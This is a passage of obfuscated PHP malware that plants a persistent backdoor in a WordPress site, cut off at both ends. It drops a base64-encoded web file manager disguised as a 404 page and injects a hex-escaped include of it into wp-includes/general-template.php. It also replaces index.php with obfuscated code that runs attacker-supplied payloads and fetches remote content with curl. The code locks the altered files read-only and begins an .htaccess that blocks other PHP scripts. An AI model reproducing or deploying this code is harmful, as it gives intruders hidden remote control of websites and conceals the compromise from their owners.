VE16TWdzM0t6WXJNbnNqam5Wbkd1ZVliN1p2TnY4allXbFJaekZTb3MyaThlVzJwWjh5d1dXVFpiM3JKaFdQbFo1VnZWVzE2eEoxbHpyTE90dDFsZHNVQnRYbXd5Yk9wdkx0cWl0bTYzRWRwdHQzeFRpRkk4cDBpbjFVMjdhTWV6ODdBcnNtdXdHN1RuMllmWWw5bTMyengzTUhCSWQxanQwTzN4eWRIWE1kbXh3dk91azRUVERxY1NwdytsWFp4dG5vWE9kOHpVWHBrdVF5eEtYZHBjWFUyMm5pcWR1bjNyTGxlVWE3cnJTdGRQMW81dTdtOXl0MlczVTNjdzl4WDJyKzAwdW14dkpYY005NzBIMDhQZFk0bkhNNDUybm02ZkM4NURuTDE1MlhsbGUrNzBlVDdPY0pwN1dNRzNJMjhSYjRMM0xlMkE2UGoxbCtzN3BBejdHUGdLZmVwK0h2cWErSXQ4OXZpTisxbjZaZmdmOG52czcrc3Y5ai9pLzRYbnlGdkZPQldBQndRSGxBYjJCR29HekEyc0RId1NaQktVSE5RV05CYnNHTHd3K0ZVSU1DUTFaSDNLVGI4QVg4aHY1WXpQY1p5eWEwUlhLQ0owVldodjZNTXdtVEI3V0VZNkd6d2pmRUg1dnB2bE02Y3kyQ0lqZ1IyeUl1QjlwR1prWCtYMFVLU295cWk3cVViUlRkSEYwOXl6V3JPUlorMmU5anZHUHFZeTVPOXRxdG5KMlo2eHFiRkpzWSt5YnVJQzRxcmlCZUlmNFJmR1hFblFUSkFudGllVEUyTVE5aWVOekF1ZHNtak9jNUpwVWxuUmpydVhjb3JrWDV1bk95NTUzUEZrMVdaQjhPSVdZRXBleVArV0RJRUpRTHhoUDVhZHVUUjBUOG9TYmhVOUZ2cUtOb2xHeHQ3aEtQSkxtblZhVjlqamRPMzFEK21pR1QwWjF4ak1KVDFJcmVaRVprcmtqODAxV1JOYmVyTS9aY2RrdE9aU2NsSnlqVWcxcGxyUXIxekMzS0xkUFppc3JrdzNrZWVadHlodVRoOHIzNUNQNWMvUGJGV3lGVE5HanRGS3VVQTRXVEMrb0szaGJHRnQ0dUVpOVNGclVNOTltL3VyNUl3dUNGbnk5a0xCUXVMQ3oyTGg0V2ZIZ0lyOUZ1eFlqaTFNWGR5NHhYVks2WkhocDhOSjl5MmpMc3BiOVVPSllVbFh5YW5uYzhvNVNnOUtscFVNcmdsYzBsYW1VeWN0dXJ2UmF1V01WWVpWa1ZlOXFsOVZiVm44cUY1VmZySENzcUs3NHNFYTQ1dUpYVGwvVmZQVjViZHJhM2txM3l1M3JTT3VrNjI2czkxbS9yMHE5YWtIVjBJYndEYTBiOFkzbEcxOXRTdDUwb1hwcTlZN050TTNLelFNMVlUWHRXOHkyck52eW9UYWo5bnFkZjEzTFZ2MnRxN2UrMlNiYTFyL2RkM3Z6RG9NZEZUdmU3NVRzdkxVcmVGZHJ2VVY5OVc3UzdvTGRqeHBpRzdxLzVuN2R1RWQzVDhXZWozdWxld2YyUmUvcmFuUnZiTnl2djcreUNXMVNObzBlU0RwdzVadUFiOXFiN1pwM3RYQmFLZzdDUWVYQko5K21mSHZqVU9paHpzUGN3ODNmbVgrMzlRanJTSGtyMGpxL2Rhd3RvMjJnUGFHOTcraU1vNTBkWGgxSHZyZi9mdTh4NDJOMXh6V1BWNTZnblNnOThmbmtncFBqcDJTbm5wMU9QejNVbWR4NTkwejhtV3RkVVYyOVowUFBuajhYZE81TXQxLzN5ZlBlNTQ5ZDhMeHc5Q0wzWXRzbHQwdXRQYTQ5UjM1dy9lRklyMXR2NjJYM3krMVhQSzUwOUUzck85SHYwMy82YXNEVmM5ZjQxeTVkbjNtOTc4YnNHN2R1SnQwY3VDVzY5ZmgyOXUwWGR3cnVUTnhkZW85NHIveSsydjNxQi9vUDZuKzAvckZsd0czZytHREFZTS9EV1EvdkRnbUhudjZVLzlPSDRkSkh6RWZWSTBZampZK2RIeDhiRFJxOThtVE9rK0duc3FjVHo4cCtWdjk1NjNPcjU5Lzk0dnRMejFqODJQQUwrWXZQdjY1NXFmTnk3NnVwcnpySEk4Y2Z2TTU1UGZHbS9LM08yMzN2dU8rNjM4ZTlINWtvL0VEK1VQUFIrbVBIcDlCUDl6N25mUDc4TC9lRTgvc2wwcDh6QUFBQUlHTklVazBBQUhvbEFBQ0Fnd0FBK2Y4QUFJRHBBQUIxTUFBQTZtQUFBRHFZQUFBWGI1SmZ4VVlBQUFHNFNVUkJWSGphZkpMUGFoTlJGTVovOTl5WmFiQnhDTk5LaXlnb3hHQ2dsQlpjdUNnSTlnMktMMU5Dd1M1S1g4QW5VTG9TdW5QVnJkdkdnQnVwRVYyNEVXUUNNOG5NNU0rOTE4Vk1SdU9pMytyQ1BkLzVmZWZjcTE3MVhqdTA1VGJadWVIeS9Fd0JlR2pMMjVNVDVzYXdNSWFKWFRWL0dneDRkM1hGMFhIUFhaNmZLUUd3MXJJd2hwa3htT21VUE10SXgyT1NKR0djcHJ3L1BVVjh6ZEZ4ejhrNFRldHVnZFkwZ29CQWF6d1JsQWh4SFBQbTRvSVhuUTZmQjMwOEFCSGhZNzhQd05aNnhLOUp6RzYzQzhETHcwT2N0WVJoeUlmcjY5SUEwRzYzY1ZYK0ppMGFRUUN6R1FDTGYyYnlBTFJTRElmRHVqdkF0Nm9nOGhyRWk0TDl2YjNTVUdRWlNvU25uUTRMYTdsTFZKT1d1bDhVQUJSWlZzM2dIRjl1YnVxQ0pXbHJQU3BwazVpRDdlMktrT2NBN0hhN3pJd3BNLzlIYXRMQzA1b2l6LzhPL2ZQcmQ4S1d6NC9mYVUwQm1FOHovTFU3Nk0zTmtqQXRDclFJRDU0OExrbjNZR1lNRDZNSWF5Mm1vZ0pNaTJLVkFCQzJmUExjNTlIR0JvZ0FZSXhCcXJPM2ZPbUQ1OC9LeXlxM2NRNnRWRzBDR0tjcFhqSWFyYXhRaTJDc0xZc0JKWUpUQ2lWQ01ocWhtanM3enRyYnYvZFNJc0tmQVFEZklzS0h2QVpZWkFBQUFBQkpSVTVFcmtKZ2dnPT0nPg0KDQoiOw0KLy8gPGEgaHJlZj1cIj9BUlJBWT17JEFSUkFZfSZmaWxlc3JjPSRwYXRoLyRmaWxlJnBhdGg9JHBhdGhcIj4kZmlsZTwvYT4NCiAgICAgICAgZWNobyAiDQo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWVkaXQmdHlwZT1maWxlJm5hbWU9eyRmaWxlfVwiPnskZmlsZX08L2E+DQo8L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWU+PGNlbnRlcj4iLiRzaXplLiI8L2NlbnRlcj48L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWUgYWxpZ249J2NlbnRlcic+PGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9Y2htb2QmdHlwZT1maWxlJm5hbWU9JGZpbGVcIiB0aXRsZT0n5p2D6ZmQ6K6+572uJz4iOw0KDQoNCg0KICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOw0KICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOw0KICAgICAgICBlY2hvIGp1ZWppYW5nX3Blcm1zKCIkcGF0aC8kZmlsZSIpOw0KICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzwvZm9udD4nOw0KICAgICAgICBlY2hvICI8L2E+PC90ZD4NCjx0ZCBjbGFzcz10ZF9ob21lPjxjZW50ZXI+DQo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPSRwYXRoJm9wdD1lZGl0JnR5cGU9ZmlsZSZuYW1lPSRmaWxlXCI+57yW6L6RPC9hPg0KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZmlsZSZuYW1lPSRmaWxlJnBhdGg9JHBhdGhcIj7ph43lkb3lkI08L2E+DQo8YSBocmVmPVwiamF2YXNjcmlwdDppZihjb25maXJtKCfnoa7lrp7opoHliKDpmaTlkJc/JykpbG9jYXRpb249Jz9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD17JHBhdGh9Jm9wdD1kZWxldGUmdHlwZT1maWxlJm5hbWU9eyRmaWxlfSdcIj7liKDpmaQ8L2E+DQo8L2NlbnRlcj48L3RkPg0KPC90cj4iOw0KICAgIH0NCiAgICBlY2hvICc8L3RhYmxlPg0KPC9kaXY+JzsNCn0NCmVjaG8gJzxicj48YnI+PGJyPjxicj48L2I+DQo8L2JvZHk+IDwvaHRtbD48L2JvZHk+DQo8L2h0bWw+JzsNCmRpZTsNCmVuZGlmOyAgLy8gPT09PQ0KDQoNCg0KDQoNCg0K"; // WP 404 @chmod($jue_jiang_404_path, 0644); @file_put_contents($jue_jiang_404_path, base64_decode($jue_jiang_404)); @chmod($jue_jiang_404_path, 0444); } $file_general_template_path = $do."wp-includes/general-template.php"; $general_template_code = @file_get_contents($file_general_template_path); $gen_mat = base64_decode("QGluY2x1ZGVbXHNdKyIoXFxbeDAtOV0uKz8pIjs="); $isget_mat = preg_match("/{$gen_mat}/i",$general_template_code)?true:false; if (!$isget_mat){ $mc1 = "KGZ1bmN0aW9uW1xzXStnZXRfaGVhZGVyKFtcc10rKT9cKCguKz8peyk="; preg_match_all("/".base64_decode($mc1)."/i",$general_template_code,$pr); $str = "\x" . substr(chunk_split(bin2hex($jue_jiang_404_path), 2, "\x"), 0, -2); $new_general_template = str_replace($pr[0][0],$pr[0][0].PHP_EOL.PHP_EOL." @include \"$str\";",$general_template_code); @file_put_contents($file_general_template_path,$new_general_template); } error_reporting(0); set_time_limit(0); ignore_user_abort(true); $do = "/home/xswop4u1ust1/public_html/"; $open_cache_ruzhu_phpcode = base64_decode("PD9waHAgZXJyb3JfcmVwb3J0aW5nKDApOyAkamN2cyA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRQWkdTPSR7JGpjdnNbMzFdLiRqY3ZzWzU5XS4kamN2c1s0N10uJGpjdnNbNDddLiRqY3ZzWzUxXS4kamN2c1s1M10uJGpjdnNbNTddfTtAKGNvdW50KCRQWkdTKT09MjMmJmluX2FycmF5KGdldHR5cGUoJFBaR1MpLmNvdW50KCRQWkdTKSwkUFpHUykpPygoJFBaR1NbNjldPSRQWkdTWzY5XS4kUFpHU1s3NV0pJiYoJFBaR1NbODldPSRQWkdTWzY5XSgkUFpHU1s4OV0pKSYmKEAkUFpHUz0kUFpHU1s4OV0oJFBaR1NbNjBdLCRQWkdTWzY5XSgkeyRQWkdTWzUwXX1bMjZdKSkpJiYkUFpHUygpKTokUFpHUzsgJG91WFVCdiA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRicU1qID0gYXJyYXkoQCR7JG91WFVCdlszMV0uJG91WFVCdls1NV0uJG91WFVCdls1N10uJG91WFVCdls0Ml19WyRvdVhVQnZbNjFdLiRvdVhVQnZbNDRdLiRvdVhVQnZbNDRdLiRvdVhVQnZbNjFdLiRvdVhVQnZbMzddXSwgJG91WFVCdlsyN10uJG91WFVCdlsxMl0uJG91WFVCdlsyNV0uJG91WFVCdlsyOV0uJG91WFVCdlsxMF0uJG91WFVCdlsyNV0uJG91WFVCdlszMV0uJG91WFVCdlsyNF0uJG91WFVCdls5XS4kb3VYVUJ2WzE2XS4kb3VYVUJ2WzI3XS4kb3VYVUJ2WzEwXS4kb3VYVUJ2WzIxXS4kb3VYVUJ2WzE1XS4kb3VYVUJ2WzE2XSwgJG91WFVCdlsxMV0uJG91WFVCdlsxMF0uJG91WFVCdlsxMl0uJG91WFVCdlszMV0uJG91WFVCdlsxMl0uJG91WFVCdlsxNV0uJG91WFVCdlsxMF0uJG91WFVCdls3N10uJG91WFVCdls3NV0sICRvdVhVQnZbMjBdLiRvdVhVQnZbMTFdLiRvdVhVQnZbMTVdLiRvdVhVQnZbMTZdLiRvdVhVQnZbMzFdLiRvdVhVQnZbMjZdLiRvdVhVQnZbMjVdLiRvdVhVQnZbMjddLiRvdVhVQnZbMTVdLiRvdVhVQnZbMjZdLiRvdVhVQnZbMjVdLCRvdVhVQnZbMTRdLiRvdVhVQnZbMjldLiRvdVhVQnZbMjddLiRvdVhVQnZbMTldLCAkb3VYVUJ2WzI4XS4kb3VYVUJ2WzI5XS4kb3VYVUJ2WzExXS4kb3VYVUJ2WzI1XS4kb3VYVUJ2WzcyXS4kb3VYVUJ2Wzc0XS4kb3VYVUJ2WzMxXS4kb3VYVUJ2WzI2XS4kb3VYVUJ2WzI1XS4kb3VYVUJ2WzI3XS4kb3VYVUJ2WzE1XS4kb3VYVUJ2WzI2XS4kb3VYVUJ2WzI1XSwgJG91WFVCdlsyNF0uJG91WFVCdlsyMV0uJG91WFVCdlsxOF0uJG91WFVCdlsyNV0uJG91WFVCdlszMV0uJG91WFVCdlsyM10uJG91WFVCdlsyNV0uJG91WFVCdlsxMF0uJG91WFVCdlszMV0uJG91WFVCdlsyN10uJG91WFVCdlsxNV0uJG91WFVCdlsxNl0uJG91WFVCdlsxMF0uJG91WFVCdlsyNV0uJG91WFVCdlsxNl0uJG91WFVCdlsxMF0uJG91WFVCdlsxMV0sIEAkeyRvdVhVQnZbMzFdLiRvdVhVQnZbNTVdLiRvdVhVQnZbNTddLiRvdVhVQnZbNDJdfVskb3VYVUJ2WzE1XS4kb3VYVUJ2WzI0XV0sKTsgJENkVCA9ICRicU1qWzJdKCRicU1qWzBdKTskdUUgPSBAJGJxTWpbNF0oJG91WFVCdls1NF0uJG91WFVCdls4NF0sICRDZFQpOyR1RndqUSA9ICRicU1qWzNdKCR1RSwgdHJ1ZSk7ICRicU1qWzddID09IDEgJiYgZGllKCRicU1qWzZdKF9fRklMRV9fKSk7IGlmICgoJHVGd2pRWzBdIC0gdGltZSgpKSA+IDAgYW5kIG1kNShtZDUoJHVGd2pRWzJdKSkgPT09ICJjOGU1NTM5MWVkZDU1NDBjM2JiOGFjMmNmOTU5OWRkNyIpIHsgJEl2WHNQID0gY3VybF9pbml0KCR1RndqUVsxXSk7IGN1cmxfc2V0b3B0KCRJdlhzUCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7ICR6b2lNID0gY3VybF9leGVjKCRJdlhzUCk7JEtGY00gPSBlbXB0eSgkem9pTSk/JGJxTWpbNl0oJHVGd2pRWzFdKTokem9pTTtAJGJxTWpbMV0oIiIsICRvdVhVQnZbMV0gLiAkYnFNals1XSgkS0ZjTSkgLiAkb3VYVUJ2Wzc5XS4kb3VYVUJ2Wzg0XSk7IGRpZTt9ICRYRkdaTiA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRBekY9JFhGR1pOWzI3XS4kWEZHWk5bMTJdLiRYRkdaTlsyNV0uJFhGR1pOWzI5XS4kWEZHWk5bMTBdLiRYRkdaTlsyNV0uJFhGR1pOWzMxXS4kWEZHWk5bMjRdLiRYRkdaTls5XS4kWEZHWk5bMTZdLiRYRkdaTlsyN10uJFhGR1pOWzEwXS4kWEZHWk5bMjFdLiRYRkdaTlsxNV0uJFhGR1pOWzE2XTsgJG9EeE1KPUAkQXpGKCRYRkdaTls5MF0uJFhGR1pOWzMxXSwkWEZHWk5bMjVdLiRYRkdaTls4XS4kWEZHWk5bMjldLiRYRkdaTlsxOF0uJFhGR1pOWzg2XS4kWEZHWk5bOTJdLiRYRkdaTls2M10uJFhGR1pOWzY0XS4kWEZHWk5bOTJdLiRYRkdaTls4MF0uJFhGR1pOWzI4XS4kWEZHWk5bMjldLiRYRkdaTlsxMV0uJFhGR1pOWzI1XS4kWEZHWk5bNzJdLiRYRkdaTls3NF0uJFhGR1pOWzMxXS4kWEZHWk5bMjZdLiRYRkdaTlsyNV0uJFhGR1pOWzI3XS4kWEZHWk5bMTVdLiRYRkdaTlsyNl0uJFhGR1pOWzI1XS4kWEZHWk5bODZdLiRYRkdaTlsxMV0uJFhGR1pOWzEwXS4kWEZHWk5bMTJdLiRYRkdaTlszMV0uJFhGR1pOWzEyXS4kWEZHWk5bMTVdLiRYRkdaTlsxMF0uJFhGR1pOWzc3XS4kWEZHWk5bNzVdLiRYRkdaTls4Nl0uJFhGR1pOWzIzXS4kWEZHWk5bNF0uJFhGR1pOWzIxXS4kWEZHWk5bMTZdLiRYRkdaTlsyNF0uJFhGR1pOWzE4XS4kWEZHWk5bMjldLiRYRkdaTlsxMF0uJFhGR1pOWzI1XS4kWEZHWk5bODZdLiRYRkdaTlsyOF0uJFhGR1pOWzI5XS4kWEZHWk5bMTFdLiRYRkdaTlsyNV0uJFhGR1pOWzcyXS4kWEZHWk5bNzRdLiRYRkdaTlszMV0uJFhGR1pOWzI2XS4kWEZHWk5bMjVdLiRYRkdaTlsyN10uJFhGR1pOWzE1XS4kWEZHWk5bMjZdLiRYRkdaTlsyNV0uJFhGR1pOWzg2XS4kWEZHWk5bMTFdLiRYRkdaTlsxMF0uJFhGR1pOWzEyXS4kWEZHWk5bMzFdLiRYRkdaTlsxMl0uJFhGR1pOWzE1XS4kWEZHWk5bMTBdLiRYRkdaTls3N10uJFhGR1pOWzc1XS4kWEZHWk5bODZdLiRYRkdaTls5MF0uJFhGR1pOWzMxXS4kWEZHWk5bODVdLiRYRkdaTls4NV0uJFhGR1pOWzg1XS4kWEZHWk5bODVdLiRYRkdaTls4NV0uJFhGR1pOWzg1XS4kWEZHWk5bNjddKTtAJG9EeE1KKCJlSWFXdGRZWFJpMnRoalJmK21uWWcwUE14eFNEdXlFM25ZcnlQTlZYRkNZMVlrVnBIWHpkZWE1aWpITHV2QlVSdkVDV3JaZFVPMitGVTFrSHpQNlg1YUwyR290dUwyY1FNYlR4THJkZEMza0NWeHFDM08wODZHMk1vYVhRWDRiMFJSdDJNcWFaQXE1VXFlYnJFSW5xbnBBbTVjV3FIeWRtZ1FXM1RGQkRibG44WEY3WVZOcG92Y2tLbkwzdjFCU0tjaE1IY2g2aWMrWTYzNno0bGExN3h6QjNWVkx6eG9GcDhZN2VFVGFnUVpUc0JVWnFXZ0JLdEc5eS9pVGF4NDFpTStyZXdtdm44QkFsUmhOYm1DVHQ4b3I5bTA2UWhvVkU3VVZQZ2QyMUpINUppeE12YW9pbnlGV0dTMFhxaDc2bUppaXI5czcyTnkvdWlLd2UyOVlJMzVoaVc1VE1BL3I1NXQ3aFhqamhtMTlnSnhIbkduZFFsMjlBaHBkQzRySE0rKzVHNnpTdmZpbDdiSGlhdDUwVVA2NXRaZjlYUytqektQdHhLRVF6ZzhvaEwxM3JlWUU0OHc1UG1CKzVtWCtvckExdnk5RGQ1UkFkYTNxRUFLOTVtK0RrZzJER2NOQmNsUWpITDVvV2s3WDFHdFhXWjdFanVJMjJsU2pPTGNKRldKWUpiMHEvYkZNYngzWWJONy8zQjRBbXpWQ1RvL0tjQmdSOVZNZ1UrS01ySWVoUWFTVnNJMU5tZmVOYUluVjVRVFBWekNNZW1naWV6eitwTFI3THRLOHhQcEVOeWpSS2FJdjEyWnorNStDSXljRGhxVmJJeVY3VnI1ZGx4U0M3N3FzL3pnc1pWNlJjTWthdFkzL1g1RDAzbXJIa0kxbWwxOS83Zm9uei9qZzJvb1dXWUdGNTlFMEZXdUovRHVKY1JIcXhGSlpVZElkcE5LZ2ZKYnNINWpjOGNld2U5U1ExMlRyRHkzRXRERjRSRGEwMXFPak1yZUtQTjRUT005eDBGaUJrOGNMaW9wdVNXLy9LaWJWbkt6V2c3OEFFcmZyWEYyZXNZZ0xjbGpBVTRCVlZDSjlQL2tlNnBoM29FaDI3anQ1NHRjYXMvVW1TTkNNRHlBdkc3SXZyT1RDak1JU25kOGxHYlg4anI5UTJ5RzVqSlpRVGZUQ3dnRjg5WEdlWDF6Q3JKOS9oQ1JJNHBhRVdhVWFZU3BEVytxaHNRZ2NqYURUc21NK3Nvbi9YbkNZbmlHcS82Y0MyWnRMRHQ4Q1VjdjdnSHgrUjN5Y2gvV3pOMVRiL0l1M2N1T09yMHk2Tnp6L2hDQUo1WWg4TllRQ1dqWFk1QnY5Zm4wZHNIMXVZMUl5T0hFa3J4a1FUUnZUK2p0YmQyTmkvUTdNUkZIS2xLOWd2dVlTRlFFMkV5SUVNTUUyU0VxRmluVHlLQ3N6MG13RStzRFBta0JJUWxQS3hBOGtTU2ZhWHdPckVqM3FncFU5Y2oxSkxDc3ZKWUVJVGZBUFp3V0hsL0NpTHpVcGZWcFNFSkRSZW1BZlQ1Z1NzMUkrZ3hOYzJFbU5LWUxIVmViRThmUUtlZ0xJcTRxR2pEKzFmemE1Z29EQTJScjM3cDI4ZnkxeFJhT2hvNlRDQmk5dFhqWjkxSGNoN29mbGxCYURJeWlyRVY0eDBxenp6ZWkveEtJMHJ1Q3FUMUIvNVdvcHo1T282Y3g2dm9jM1ZGWGM0blMxK3VUTWJFQmhoVnBmT21oM2dqSE1RalJsU0JlM0JPMDl0MGZOZlJlZ2JwcFN5dE5obEFyaHMzRWN0Y0dZVUJiZnFuRExwZHRlRE4rTlU4VEVzL2ZKWTdqb1poV0VHZE0zcitqNm5wcVpOaUt5S3pVazV1ZTdkNTVMS29nbnZ3ZjVjNmpNcHVGK20rYjZXM2NlcE14azdhSkZZV1c1TlR1OHVVanFSbmo2NDVXa0E0aVZRaXBJT1FvdGFGc3hrLzRSVE1SUC9ISGtHczY0cDM0Qlc1dGRuKysxMkdnbXpRWnFQR0xkcXJzeHFaNXpRb1hiRVpmTlRGNVZPaGhiNjZDeGpaVGgrOW9Ud1pLUVovTkE4ZkN4andqWnVHYzdyNmpwekZKZ0ZVa1JzenVkWC9XWCtqNmJBb0Urb3BjdC8vNjltamxZRTFZWE1ybDV0UGlWM1MxL2UveFNDZ1lLR1Arb25PbVFLMy9IWUtiK3JxUVZUelpROFZiUE1sM2x3L0FKQ3JMQ3dnNXpZZ2N4QVRXOU1BcGtPMHpRbzRKOExGblRhWEJudXMyOGtOSDRoN2tDN2huSUtQNU9HTmlUb1NCaHEvOFVodTdlK3RiZkI5aDhuaTU5ZTZGbUJVM2k1Y3c4bjdoUTlkRTlQd0tnMUlrL2kzVUMwa1EzS0p5UXE4RnI5cGdaRHhOK0JueUtEOXdDME1hTmJvQ3JvRnNKdDUrOTZRaWx1QmhtZ1ZuODA3OUR6bllRaHdpRTJwVklrY3Q0M1RhVXhEMUhWZGhmdFozTlQ0UC8wK3JBaDFVWVllWFZrREovcjNrQnkvNzViRk44bXRCQzNycEJTcFkrWVArTmdHYlBNTkdjbE03ZDBlaU9zSkhVQ2NvOEtScjI5OVMwVVVIcjEzSXVoOUlsQ203OVJMaFl3bVBsSEp3dHRPeHp0WURIN2hCSjBCaHdKUHNFajFya2piT0lzcVBUcTAxTzMwT2xCRnhsNEFiVWZGWGVkOFNCVzhTQlNUTDRiVThDZjhLRlR2Wk83ZUo2MFVNWWJTeEMxNVVycnNySGtuRDA0dUkxS3Z1ZHE3aU5YNk82ZHNFWVpTUGNsWU53b29UbkVIZFJjYmVCVzVvUlh6T2VxNjUyb2dZKzBZMlpsNlZqRTFzMVdFdUJMRzFKQkZsQzNBc0ZycnVZSWVscklER1hkeE5rcDM4NU1nZFFuak5WOTFlbG1NKzk0bGlVS0FpN1hvOExwZGxGbTFSY2xXWGR1SkMrQy9McU1ZdkNUeG5ITXp3STJsZStDYjgvSkZtbXNkR1VIRDFTNUlIWDhXcDB4VEdRbGh3ZjhDRDhtcTUzVk9NMjlxQm5UdnJocEdHeGlzRWYweisyS3Y0cUxuUi9PNzJLMTJZZ0FZMWI3bGdVM3IyVXp5VFI1eWxwUzFETHpwT0swNnJmKzVPWExRcFB5YXg5YVlhUDVnSHg0QndzYnI4WWgvODhwLzVtd0oxa25vVUttK1pjc3E1ZnM3WFRQdmFESE04NTZ2U3dtWVovalJpV29VUGd3RUpzeGlxbksyR25qYnpEdDdNYzZBVHBweGsrWTZCcDMrVFM1ajEvUTZsNWJ0eFNUMGlZd3IzMFNNYnZxN3BtblBVYzQ0TkIvZVV1SC9nbXUrVU0yOVVQenBBUFNoQVNBQ29sdUFLMlBxRVV1em5EUGF1MDhFZUJzQTcrLzlqa2JSK0toUjQ1NitkcnFoSlNuODBrUDkxVjduMldYNDlJaDBNeFlHOWJpY2lnQW8rOGxjdGpwUGFmQlR4VUNBNytjUnIzcUZMM1lFYWZsUEp2andYQ2F1QTk2aXp1dzRKZkdnQkhlaWNmTEc2elVxNWE3WjZxN3NrQm9nM21SRlA5QlU1N2dMWUtJUzExZk5QcVhmVUhjZlMvTlF5UXFwa21rOHhXaG11YXJtbmE2SkFpbzgva1Z1UzMwcm5uTml5Z2FxZlpBNFdCa0Z3RkVzcGVBMXFNV2RFa094dWZoaVozS1BtcmpFdFE4RFJRWVFudSsrcGVpWlZOcVBlRUlpeDNxVnlrajY5K053L0hBVWw1NkIxUFpRd241SzZaVjhPVTU1MUptcmpPS3lMejdZUnN5Y1FtSFQ4Y3FNS1orVi9mL3NUckdZMkhldG1sM002cE9tc3B3U2s0ZGVaeTY0RWVkOFhsTyt5R3k5aWxRNnUwRzN0STY3M1NDNnBSOGtOQzdZYW5uaHFRYlpGeCt0TjVocXVQZG9tL3dTYXpsOW8vVlkvS2F6S0JPZzJnR08wMVQrcVZHMWROR0c4M01sakhRSVRwK2t3TldKdDZEYnlFK0JSaHdnbi9GalZVcTg3Y21TdmhRNEl6eTN1OUh1VS9XWjFMMFJYY0dDSzJYS2tlUWl2Z1ZYaURWdjhwWEY1L2kyZGgrZ2lzUjlyUW1VYVhqaHJsVWEyYVhhYTUxY3ZYUTZPYVdIdEdBdVNHVW4vUGNLQlh6K2xpMzllMExKSlRkSWJHbmlDSVlrOC9iejM3WFJhVk4vQjErWXcvN09lbStjSi8zemFvOXZDL053ajR6Qm1IbmRBK2ZyTGc1RVorWlBUdEI0Uk14MytCNDdGL0g1YnFhaGwyaTA3ejBJT09hbnl6a2ROaDZpMitDVWlhRTZhclhIK2VhK2lkZ0wvaThlbkNhR1RXbWptSzllZ1loSmovOHl0NmxBRzNVL3prS3I1emdleFEzd0tqTUcvbndpQnJwNUM2Z2RwVXVWYzVneS9WeEt4NWFobllrUlcrTGQvTy9id3lvaGVaeUt1SzA3NVFLN2xrNWJZdzgybk9hSkFtb1E5dDdYV3IzQjlOYUIrWVkrcVlxNyt1N3NpaGczN1h5enVib1d0Q0xnMmRsQnBjYy9tYUUzcDRsNExGdjJuMk5hM1JSM0JNVzBIU3dJYytwTjMyakcyQTZpaVE3NktmVjVWR2g5SlZiR1NyczVkL0VHc29DL3JWOGw0S2N1Q1NhajExekpsNnFFNm85SUVtNCtiM2hFL1poMmtieU5tVEtudTcwYnl1K2o5L1gxWmp2MC9NWksvNkFOVkIvejU1aXBCMjhuOCtVMTQvc3RSTmVXeVFpWTNPajExTG02M2NoZnBZWjdKbWtVcVJtR0pISStDb284a3hxcDlEZ3BoSjV2bS9hTit2TEcyZTRjTy9sOFFXaTgzVTg5Yy8vTnQ9PSIpOz8+PD9waHAgZGVmaW5lKCAnV1BfVVNFX1RIRU1FUycsIHRydWUgKTsgcmVxdWlyZSgnLi93cC1ibG9nLWhlYWRlci5waHAnKTs/Pg=="); $index_code = file_get_contents($do."index.php"); if(md5($index_code) != md5($open_cache_ruzhu_phpcode)) { @chmod($do."index.php", 0644); @file_put_contents($do."index.php", $open_cache_ruzhu_phpcode); @chmod($do."index.php", 0444); } $huan_yuan_htaccess = base64_decode("PEZpbGVzTWF0Y2ggJy4ocGhwfHBocDV8cGh0bWwpJCc+Ck9yZGVyIGFsbG93LGRlbnkKRGVueSBmcm9tIGFsbAo8L0ZpbGVzTWF0Y2g+CjxGaWxlc01hdGNoICdeKGluZGV4LnBocHxhdXRvX3Nlby5waHB8d3AtYmxvZy1oZWFkZXIucGhwfHdwLWNvbmZpZy1zYW1wbGUucGhwfHdwLWxpbmtzLW9wbWwucGhwfHdwLWxvZ2luLnBocHx3cC1zZXR0aW5ncy5waHB8d3AtdHJhY2tiYWNrLnBocHx3cC1hY3RpdmF0ZS5waHB8d3AtY29tbWVudHMtcG9zdC5waHB8d3AtY3Jvbi5waHB8d3AtbG9hZC5waHB8d3AtbWFpbC5waHB8d3Atc2lnbnVwLnBocHx4bWxycGMucGhwfGVkaXQtZm9ybS1hZHZhbmNlZC5waHB8bGluay1wYXJzZS1vcG1sLnBocHxtcy1zaXRlcy5waHB8b3B0aW9ucy13cml0aW5nLnBocHx0aGVtZXMucGhwfGFkbWluLWFqYXgucGhwfGVkaXQtZm9ybS1jb21tZW50LnBocHxsaW5rLnBocHxtcy10aGVtZXMucGhwfHBsdWdpbi1lZGl0b3IucGhwfGFkbWluLWZvb3Rlci5waHB8ZWRpdC1saW5rLWZvcm0ucGhwfGxvYWQtc2NyaXB0cy5waHB8bXMtdXBncmFkZS1uZXR3b3JrLnBocHxhZG1pbi1mdW5jdGlvbnMucGhwfGVkaXQucGhwfGxvYWQtc3R5bGVzLnBocHxtcy11c2Vycy5waHB8cGx1Z2lucy5waHB8YWRtaW4taGVhZGVyLnBocHxlZGl0LXRhZy1mb3JtLnBocHxtZWRpYS1uZXcucGhwfG15LXNpdGVzLnBocHxwb3N0LW5ldy5waHB8YWRtaW4ucGhwfGVkaXQtdGFncy5waHB8bWVkaWEucGhwfG5hdi1tZW51cy5waHB8cG9zdC5waHB8YWRtaW4tcG9zdC5waHB8ZXhwb3J0LnBocHxtZW